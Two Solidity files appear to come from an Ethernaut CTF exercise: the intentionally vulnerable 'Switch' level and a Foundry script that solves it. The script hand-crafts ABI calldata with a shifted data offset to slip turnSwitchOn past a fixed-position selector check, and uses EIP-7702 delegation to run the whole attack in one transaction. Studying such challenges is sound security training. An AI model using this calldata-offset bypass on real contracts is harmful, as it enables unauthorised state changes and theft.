1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
contract Switch {
5
    bool public switchOn; // switch is off
6
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
7

8
    modifier onlyThis() {
9
        require(msg.sender == address(this), "Only the contract can call this");
10
        _;
11
    }
12

13
    modifier onlyOff() {
14
        // we use a complex data type to put in memory
15
        bytes32[1] memory selector;
16
        // check that the calldata at position 68 (location of _data)
17
        assembly {
18
            calldatacopy(selector, 68, 4) // grab function selector from calldata
19
        }
20
        require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
21
        _;
22
    }
23

24
    function flipSwitch(bytes memory _data) public onlyOff {
25
        (bool success,) = address(this).call(_data);
26
        require(success, "call failed :(");
27
    }
28

29
    function turnSwitchOn() public onlyThis {
30
        switchOn = true;
31
    }
32

33
    function turnSwitchOff() public onlyThis {
34
        switchOn = false;
35
    }
36
}

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.28;
3

4
import "forge-std/Script.sol";
5

6
interface IEthernaut29 {
7
    function createLevelInstance(address level) external payable;
8
    function submitLevelInstance(address payable instance) external;
9
}
10

11
interface ISwitch {
12
    function switchOn() external view returns (bool);
13
}
14

15
contract Sol29Delegation {
16
    address private immutable owner;
17

18
    constructor(address owner_) {
19
        owner = owner_;
20
    }
21

22
    modifier onlyOwner() {
23
        require(msg.sender == owner, "only owner");
24
        _;
25
    }
26

27
    function solve(address ethernaut, address switchLevel, uint256 factoryNonce, uint256 createGas)
28
        external
29
        onlyOwner
30
        returns (address instance)
31
    {
32
        instance = _computeCreateAddress(switchLevel, factoryNonce);
33

34
        IEthernaut29(ethernaut).createLevelInstance{gas: createGas}(switchLevel);
35

36
        (bool ok,) = instance.call(_flipSwitchPayload());
37
        require(ok, "flipSwitch failed");
38
        require(ISwitch(instance).switchOn(), "switch is still off");
39

40
        IEthernaut29(ethernaut).submitLevelInstance(payable(instance));
41
    }
42

43
    function _flipSwitchPayload() private pure returns (bytes memory) {
44
        bytes4 flip = bytes4(keccak256("flipSwitch(bytes)"));
45
        bytes4 off = bytes4(keccak256("turnSwitchOff()"));
46
        bytes4 on = bytes4(keccak256("turnSwitchOn()"));
47

48
        return abi.encodePacked(
49
            flip,
50
            uint256(96),
51
            uint256(0),
52
            off,
53
            bytes28(0),
54
            uint256(4),
55
            on,
56
            bytes28(0)
57
        );
58
    }
59

60
    function _computeCreateAddress(address deployer, uint256 nonce) private pure returns (address) {
61
        if (nonce == 0) {
62
            return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), deployer, bytes1(0x80))))));
63
        }
64
        if (nonce <= 0x7f) {
65
            return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), deployer, uint8(nonce))))));
66
        }
67
        if (nonce <= type(uint8).max) {
68
            return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd7), bytes1(0x94), deployer, bytes1(0x81), uint8(nonce))))));
69
        }
70
        if (nonce <= type(uint16).max) {
71
            return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd8), bytes1(0x94), deployer, bytes1(0x82), uint16(nonce))))));
72
        }
73
        if (nonce <= type(uint24).max) {
74
            return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd9), bytes1(0x94), deployer, bytes1(0x83), uint24(nonce))))));
75
        }
76
        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xda), bytes1(0x94), deployer, bytes1(0x84), uint32(nonce))))));
77
    }
78
}
79

80
contract Sol29 is Script {
81
    function run() external {
82
        uint256 privateKey = vm.envUint("PRIVATE_KEY");
83
        address player = vm.addr(privateKey);
84
        IEthernaut29 ethernaut = IEthernaut29(vm.envAddress("ETHERNAUT_INSTANCE"));
85
        address switchLevel = vm.envAddress("SWITCH_LEVEL");
86
        uint256 createGas = vm.envOr("SWITCH_CREATE_GAS", uint256(1_000_000));
87
        uint256 factoryNonce = vm.envOr("SWITCH_FACTORY_NONCE", uint256(vm.getNonce(switchLevel)));
88

89
        vm.broadcast(privateKey);
90
        Sol29Delegation implementation = new Sol29Delegation(player);
91

92
        vm.broadcast(privateKey);
93
        vm.signAndAttachDelegation(address(implementation), privateKey);
94
        Sol29Delegation(payable(player)).solve(address(ethernaut), switchLevel, factoryNonce, createGas);
95
    }
96
}
97

98
contract Sol29Clear is Script {
99
    function run() external {
100
        uint256 privateKey = vm.envUint("PRIVATE_KEY");
101

102
        vm.signAndAttachDelegation(address(0), privateKey);
103
        vm.broadcast(privateKey);
104
        (bool success,) = payable(address(0)).call("");
105
        require(success, "clear delegation failed");
106
    }
107
}